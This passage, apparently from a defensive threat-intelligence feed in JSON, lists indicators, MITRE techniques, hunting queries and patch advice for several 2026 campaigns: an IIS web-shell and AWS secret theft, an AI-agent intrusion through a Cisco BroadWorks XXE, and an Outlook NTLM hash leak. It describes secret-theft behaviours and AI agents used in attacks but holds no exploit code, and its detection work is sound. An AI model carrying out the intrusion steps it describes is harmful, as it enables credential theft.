"https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" } ] }, { "value": "0c39264337a1186b2e765e24073399cbdcba118306614eb411e315887af578bd", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of flashcenter_pp_ax_install_en.exe (Antino implant sample).", "source_url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "source_label": "Unit 42 – The XG Files: Falcon C2 Flying Under The (Browser) Radar", "source_name": "Unit 42", "sources": [ { "url": "https://unit42.paloaltonetworks.com/falcon-c2-browser-compromise/", "name": "Unit 42" }, { "url": "https://bazaar.abuse.ch/sample/0c39264337a1186b2e765e24073399cbdcba118306614eb411e315887af578bd/", "name": "MalwareBazaar" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.kql", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.spl", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt_raw.spl", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Falcon-C2-XG-Antino-Browser-Implant/hunt.yaral", "download": "Falcon-C2-XG-Antino-Browser-Implant_hunt.yaral" } ] }, { "id": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft", "folder": "threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft", "name": "AntiFox: ARTEX Fork Used to Implant IIS Web Shells and Steal AWS Secrets", "short": "AntiFox IIS-to-AWS secret theft", "category": "Exploitation / cloud credential theft", "published": "2026-11-11", "entry_date": "2026-11-12 09:25", "last_updated": "2026-11-12", "seq": 22, "headline": "ARTEX fork used to implant IIS web shells and steal AWS production secrets", "summary": "Arctic Wolf Labs, reported on 11 November 2026, observed intrusions in which self-hosted AntiFox consoles on Alibaba Cloud were used against internet-facing IIS applications. AntiFox is an open-source agentic penetration-testing platform built on ARTEX. In the observed cases, access to a compromised IIS application was used to drop an ASPX web shell through w3wp.exe, run whoami and icacls, read web.config and connection strings, and then abuse valid AWS identities to enumerate many services. In some instances the actor called GetSecretValue on a production secret, or used the identity for S3 discovery and object operations. This is a different fork and different infrastructure from the Storm-3358 ARTEX campaign already in this feed. Arctic Wolf did not publish network indicators in the public write-ups; two IP addresses circulating on third-party sites are included as medium-confidence alert-only leads and have not been confirmed by Arctic Wolf. Do not block Alibaba Cloud.", "caveat": "The two IP addresses were not published by Arctic Wolf or The Hacker News. Treat them as unconfirmed alert-only leads. Do not block Alibaba Cloud.", "targets": { "countries": [], "regions": [], "sectors": [ "Cloud services", "Technology" ], "note": "Arctic Wolf described confirmed malicious actions against internet-facing IIS applications and associated AWS environments. No countries were named.", "source": { "url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "label": "The Hacker News – AntiFox AI pentesting platform linked to attacks that accessed AWS production secrets", "name": "The Hacker News" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1083", "name": "File and Directory Discovery", "url": "https://attack.mitre.org/techniques/T1083/" }, { "id": "T1552.001", "name": "Credentials in Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1526", "name": "Cloud Service Discovery", "url": "https://attack.mitre.org/techniques/T1526/" }, { "id": "T1530", "name": "Data from Cloud Storage Object", "url": "https://attack.mitre.org/techniques/T1530/" } ], "recommended_actions": [ "Hunt IIS servers for w3wp.exe creating new .aspx files, and for w3wp.exe launching cmd, PowerShell, whoami or icacls.", "In AWS CloudTrail, hunt valid identities that enumerate many services and, in particular, ListSecrets followed by GetSecretValue or unexpected S3 object access.", "Treat the two circulated IP addresses as alert-only leads only; do not block Alibaba Cloud.", "This is a separate AntiFox fork from Storm-3358; review both entries if you already hunt ARTEX behaviour." ], "sources": [ { "url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "label": "The Hacker News – AntiFox AI pentesting platform linked to attacks that accessed AWS production secrets", "name": "The Hacker News" }, { "url": "https://www.bleepingcomputer.com/news/security/hackers-use-antifox-ai-agents-in-aws-credential-theft-attacks/", "label": "BleepingComputer – Hackers use AntiFox AI agents in AWS credential-theft attacks", "name": "BleepingComputer" } ], "indicator_count": 2, "block_now_count": 0, "hunt_count": 2, "hunt_counts": { "alert": 2 }, "indicator_counts": { "ipv4": 2 }, "ioas": [ { "artefact": "w3wp.exe creating a new .aspx file under the web root or an upload directory", "log_source": "EDR file events on IIS servers", "why": "Arctic Wolf saw the IIS worker process drop an ASPX web shell after the web application was compromised, then run commands through that shell.", "action": "alert", "has_query": true, "source_url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "source_name": "The Hacker News", "title": "IIS worker dropping an ASPX web shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "w3wp.exe starting cmd, PowerShell, whoami or icacls, or PowerShell that searches for web.config and connection strings", "log_source": "EDR process events on IIS servers", "why": "Arctic Wolf reported commands run through w3wp.exe to identify the execution context, enumerate the application directory, check permissions with icacls, and locate configuration and credentials.", "action": "alert", "has_query": true, "source_url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "source_name": "The Hacker News", "title": "IIS worker running whoami, icacls or PowerShell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Valid AWS identities enumerating many services, especially Secrets Manager ListSecrets followed by GetSecretValue, or rapid List, Get and Describe calls across IAM, EC2, S3, Lambda, RDS, KMS and similar APIs", "log_source": "AWS CloudTrail, or CloudAppEvents with the AWS connector", "why": "Arctic Wolf saw attackers abuse valid IAM identities to enumerate dozens of AWS services and, in some cases, successfully call GetSecretValue on a production secret or perform S3 object operations.", "action": "hunt", "has_query": true, "source_url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "source_name": "The Hacker News", "title": "AWS secret and service enumeration", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/block_now.txt", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/defender_xdr_indicators.csv", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.kql", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.spl", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt_raw.spl", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.yaral", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/iocs.csv", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft", "share_url": "https://iocwatch.com/t/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/", "indicators": [ { "value": "47.79.4.33", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IPv4 circulated on third-party write-ups as an Alibaba Cloud host associated with AntiFox. Not published by Arctic Wolf or The Hacker News. Alert only; do not block Alibaba Cloud.", "source_url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "source_label": "The Hacker News – AntiFox AI pentesting platform linked to attacks that accessed AWS production secrets", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "name": "The Hacker News" } ] }, { "value": "8.208.101.210", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IPv4 circulated on third-party write-ups as an Alibaba Cloud host associated with AntiFox. Not published by Arctic Wolf or The Hacker News. Alert only; do not block Alibaba Cloud.", "source_url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "source_label": "The Hacker News – AntiFox AI pentesting platform linked to attacks that accessed AWS production secrets", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/antifox-ai-pentesting-platform-linked.html", "name": "The Hacker News" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.kql", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.spl", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt_raw.spl", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft/hunt.yaral", "download": "AntiFox-ARTEX-Fork-IIS-AWS-Secret-Theft_hunt.yaral" } ] }, { "id": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320", "folder": "threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320", "name": "Operation Snowball: Cisco BroadWorks CVE-2026-20320 Exploited Against a European Telecom", "short": "Operation Snowball BroadWorks exploitation", "category": "Exploitation / telecom", "published": "2026-11-08", "entry_date": "2026-11-12 09:25", "last_updated": "2026-11-12", "seq": 21, "headline": "AI-driven intrusion of a European telecom through exploited Cisco BroadWorks CVE-2026-20320", "summary": "Malbear Labs reported on 8 November 2026 that an exposed workspace showed a jailbroken DeepSeek agent, directed by a Chinese-speaking operator, running more than two weeks of largely unsupervised attacks against a European telecommunications provider and 13 organisations hosted on its infrastructure. Initial access used CVE-2026-20320, an unauthenticated XXE in Cisco BroadWorks XSP on the OCI XML interface (port 2208). CISA added the CVE to its Known Exploited Vulnerabilities catalog on 10 November 2026. Cisco has said it knows of no attacks. The campaign indicators, a Sliver C2 domain and three IP addresses, come from a single technical source, so they are medium confidence and alert or hunt only. The C2 domain is Cloudflare-fronted: hunt or alert on that hostname, and do not block Cloudflare.", "caveat": "Campaign indicators are from a single technical source (Malbear Labs). Cisco has said it knows of no attacks. CISA has listed CVE-2026-20320 as exploited. The C2 domain is Cloudflare-fronted; do not block Cloudflare.", "targets": { "countries": [], "regions": [ "Europe" ], "sectors": [ "Telecommunications" ], "note": "Malbear Labs describes a European telecommunications provider and 13 organisations hosted on its infrastructure. The provider and the hosted organisations were not named.", "source": { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "name": "Malbear Labs" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1021.004", "name": "SSH", "url": "https://attack.mitre.org/techniques/T1021/004/" }, { "id": "T1071.001", "name": "Web Protocols", "url": "https://attack.mitre.org/techniques/T1071/001/" }, { "id": "T1041", "name": "Exfiltration Over C2 Channel", "url": "https://attack.mitre.org/techniques/T1041/" } ], "recommended_actions": [ "Patch Cisco BroadWorks XSP to a fixed release for CVE-2026-20320, and restrict unauthenticated access to the OCI interface on port 2208.", "Hunt load-balancer, WAF and BroadWorks logs for unauthenticated OCI-P or XML requests on port 2208, including unusual external entity or DTD use.", "Alert on the Sliver C2 hostname api.tablacysexplorer.com and the three published IP addresses; do not block Cloudflare.", "Review BroadWorks and adjacent hosts for unexpected PowerShell or SSH, and for connections to ports 2299, 8000 or 56777." ], "sources": [ { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "name": "Malbear Labs" }, { "url": "https://www.cisa.gov/news-events/alerts/2026/11/10/cisa-adds-six-known-exploited-vulnerabilities-catalog", "label": "CISA – Adds six known exploited vulnerabilities to catalog, including CVE-2026-20320", "name": "CISA" }, { "url": "https://www.infosecurity-magazine.com/news/operation-snowball-ai-telecom/", "label": "Infosecurity Magazine – Jailbroken AI agent ran two-week attack on European telecom", "name": "Infosecurity Magazine" } ], "indicator_count": 4, "block_now_count": 0, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "ipv4": 3, "domain": 1 }, "ioas": [ { "artefact": "Unauthenticated OCI-P or XML requests to Cisco BroadWorks XSP on port 2208, especially those that pull external entities or unusual DTDs", "log_source": "Load-balancer, WAF and BroadWorks XSP logs", "why": "Initial access is CVE-2026-20320, an unauthenticated XXE in the BroadWorks OCI XML parser on port 2208. CISA later listed the CVE as exploited.", "action": "hunt", "has_query": true, "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_name": "Malbear Labs", "title": "BroadWorks OCI port 2208 (CVE-2026-20320)", "queries": [ "KQL", "SPL" ] }, { "artefact": "Outbound PowerShell or unexpected SSH from BroadWorks or telecom application servers, especially to api.tablacysexplorer.com or ports 2299, 8000 or 56777", "log_source": "EDR process and network events on BroadWorks and adjacent hosts", "why": "Malbear Labs recovered a PowerShell C2 chain, Sliver operator configuration, and SSH access to the C2 and an operator host.", "action": "alert", "has_query": true, "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_name": "Malbear Labs", "title": "Sliver C2 domain, staging or SSH ports", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/block_now.txt", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/defender_xdr_indicators.csv", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.kql", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.spl", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt_raw.spl", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.yaral", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/iocs.csv", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320", "share_url": "https://iocwatch.com/t/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/", "indicators": [ { "value": "api.tablacysexplorer.com", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Sliver C2 beacon domain from the Malbear Labs Operation Snowball report. The domain is Cloudflare-fronted: hunt or alert on this hostname, do not block Cloudflare.", "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "source_name": "Malbear Labs", "sources": [ { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "name": "Malbear Labs" } ] }, { "value": "146.70.53.182", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "SSH access to the Sliver server (port 2299) in the Malbear Labs Operation Snowball report. Medium confidence, alert/hunt only.", "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "source_name": "Malbear Labs", "sources": [ { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "name": "Malbear Labs" } ] }, { "value": "113.23.212.15", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Tool staging server (port 8000) in the Malbear Labs Operation Snowball report. Medium confidence, alert/hunt only.", "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "source_name": "Malbear Labs", "sources": [ { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "name": "Malbear Labs" } ] }, { "value": "212.46.38.73", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Operator secondary machine (port 56777) in the Malbear Labs Operation Snowball report. Medium confidence, alert/hunt only.", "source_url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "source_label": "Malbear Labs – Operation Snowball: Inside an Autonomous AI Intrusion Campaign", "source_name": "Malbear Labs", "sources": [ { "url": "https://malbearlabs.com/posts/operation-snowball-inside-an-autonomous-ai-intrusion-campaign", "name": "Malbear Labs" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.kql", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.spl", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt_raw.spl", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320/hunt.yaral", "download": "Operation-Snowball-Cisco-BroadWorks-CVE-2026-20320_hunt.yaral" } ] }, { "id": "Outlook-CVE-2026-124194-NTLM-Hash-Leak", "folder": "threats/2026-11_November-2026/2026-11-12/Outlook-CVE-2026-124194-NTLM-Hash-Leak", "name": "Outlook CVE-2026-124194: Exploited NTLM Hash Leak (Hunt Only)", "short": "Outlook CVE-2026-124194 NTLM hash leak", "category": "Exploitation / credential theft", "published": "2026-11-10", "entry_date": "2026-11-12 09:25", "last_updated": "2026-11-12", "seq": 20, "headline": "Exploited Outlook flaw that leaks NTLMv2 hashes, with no published network indicators", "summary": "Microsoft patched CVE-2026-124194 on 10 November 2026 and marks it Exploitation Detected; CISA added it to its Known Exploited Vulnerabilities catalog the same day, with a 24 November deadline. A user who opens a crafted message file (.msg or .eml) makes Outlook connect to an attacker-controlled network location without the usual external-content warning, and Windows sends the user's NTLMv2 response, which can be cracked or relayed. The Preview Pane is not an attack vector. Microsoft, CISA and the researchers who covered the flaw have published no attacker IP addresses, domains, file hashes, sender addresses or file names, so this entry is hunt and alert only. Its three correlated hunts tie a message-file open in Outlook to SMB, WebDAV or NTLM traffic to a new public address on the same device within 2 minutes.", "caveat": "No campaign network or file indicators have been published. Addresses in public proof-of-concept write-ups are examples or placeholders, not indicators. The hunts are correlated and tuned for low noise: fill in the allowlist placeholders with your own public ranges, partner file shares and WebDAV domains before alerting.", "targets": { "countries": [], "regions": [], "sectors": [], "note": "CISA and Patch Tuesday reporting do not name victims. Any organisation running Microsoft Outlook or Microsoft Office is in scope.", "source": { "url": "https://www.cisa.gov/news-events/alerts/2026/11/10/cisa-adds-six-known-exploited-vulnerabilities-catalog", "label": "CISA – Adds six known exploited vulnerabilities to catalog, including CVE-2026-124194", "name": "CISA" } }, "mitre": [ { "id": "T1187", "name": "Forced Authentication", "url": "https://attack.mitre.org/techniques/T1187/" }, { "id": "T1566.001", "name": "Spearphishing Attachment", "url": "https://attack.mitre.org/techniques/T1566/001/" }, { "id": "T1557.001", "name": "LLMNR/NBT-NS Poisoning and SMB Relay", "url": "https://attack.mitre.org/techniques/T1557/001/" }, { "id": "T1550.002", "name": "Pass the Hash", "url": "https://attack.mitre.org/techniques/T1550/002/" } ], "recommended_actions": [ "Install the November 2026 Office updates: Office LTSC 2024 16.0.17932.21140, Office LTSC 2021 16.0.14334.21048, or the fixed Microsoft 365 Apps build for your channel.", "Block outbound TCP 445 and 139 to the internet at the perimeter and in the host firewall for laptops on public networks, and review whether WebDAV to arbitrary hosts is allowed.", "Set Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers to Audit all, then Deny all with an exception list; on Windows 11 24H2 and Windows Server 2025, block NTLM for remote outbound SMB.", "Fill in the allowlist placeholders in the hunts with your own public ranges, partner file shares and WebDAV domains, then run them over the last 30 days.", "If a hunt fires, treat the user's NTLMv2 response as exposed: reset the password, revoke sessions, and search mail for the same sender, subject or attachment across other recipients." ], "sources": [ { "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-124194", "label": "Microsoft – CVE-2026-124194 Microsoft Outlook Spoofing Vulnerability", "name": "Microsoft" }, { "url": "https://www.cisa.gov/news-events/alerts/2026/11/10/cisa-adds-six-known-exploited-vulnerabilities-catalog", "label": "CISA – Adds six known exploited vulnerabilities to catalog, including CVE-2026-124194", "name": "CISA" }, { "url": "https://atarussecurity.com/research/outlook-zero-day-cve-2026-124194-ntlm-hash-leak/", "label": "Atarus Research – Outlook zero-day CVE-2026-124194 leaks NTLM hashes", "name": "atarussecurity.com" }, { "url": "https://ctxsec.com/items/hunt-outlook-cve-2026-124194-ntlm-leak-outbound-smb-webdav-from-outlook", "label": "ctxsec – Hunt: Outlook reaching out over SMB or WebDAV after a message file is opened", "name": "ctxsec.com" }, { "url": "https://isecradar.com/blog/outlook-zero-day-cve-2026-124194-ntlm-hash-leak-and-how-to-hunt-it", "label": "iSecRadar – Outlook zero-day CVE-2026-124194: NTLM hash leak and how to hunt it", "name": "isecradar.com" }, { "url": "https://socprime.com/blog/cve-2026-124194-microsoft-outlook-zero-day-exploited-to-steal-ntlm-hashes/", "label": "SOC Prime – CVE-2026-124194: Outlook zero-day exposes NTLM hashes", "name": "socprime.com" }, { "url": "https://zerohunt.ai/blog/outlook-cve-2026-124194-ntlm-hash-leak-spoofing/", "label": "zerohunt – Outlook CVE-2026-124194: exploited spoofing bug leaks NTLM hashes", "name": "zerohunt.ai" }, { "url": "https://www.security.com/expert-perspectives/protecting-against-outlook-elevation-privilege-escalation", "label": "Symantec – Detecting WebDAV fallback (davclnt.dll,DavSetCookie) in Outlook NTLM leaks", "name": "Symantec Threat Hunter Team" }, { "url": "https://thehackernews.com/2026/11/microsoft-patches-1259-flaws-including.html", "label": "The Hacker News – Microsoft patches exploited Outlook bug that may expose NTLMv2 hashes", "name": "The Hacker News" }, { "url": "https://www.securityweek.com/exploited-outlook-zero-day-among-1094-flaws-patched-by-microsoft/", "label": "SecurityWeek – Exploited Outlook zero-day among flaws patched by Microsoft", "name": "SecurityWeek" }, { "url": "https://www.tenable.com/blog/microsoft-november-2026-patch-tuesday-addresses-1093-cves-cve-2026-124194", "label": "Tenable – Microsoft's November 2026 Patch Tuesday", "name": "Tenable" }, { "url": "https://www.malwarebytes.com/blog/bugs/2026/11/microsoft-patch-tuesday-fixes-outlook-flaw-already-under-attack", "label": "Malwarebytes – Microsoft Patch Tuesday fixes Outlook flaw already under attack", "name": "Malwarebytes" } ], "indicator_count": 1, "block_now_count": 0, "hunt_count": 1, "hunt_counts": { "monitor": 1 }, "indicator_counts": { "other": 1 }, "ioas": [ { "artefact": "SMB (TCP 445 or 139) to a public address that is new to the estate, made by OUTLOOK.EXE, or by the System kernel SMB client within 2 minutes after Outlook opens a .msg or .eml file on the same device", "log_source": "Defender XDR DeviceNetworkEvents, DeviceFileEvents and DeviceProcessEvents; Sysmon event 3 with event 1 and 11 in Splunk or Google SecOps", "why": "Opening a crafted message file makes Outlook connect to the attacker's server without the external-content warning, and Windows sends the user's NTLMv2 response. The SMB client often runs in the kernel, so the connection is logged against System rather than Outlook. Tuning: public addresses only; Azure Files 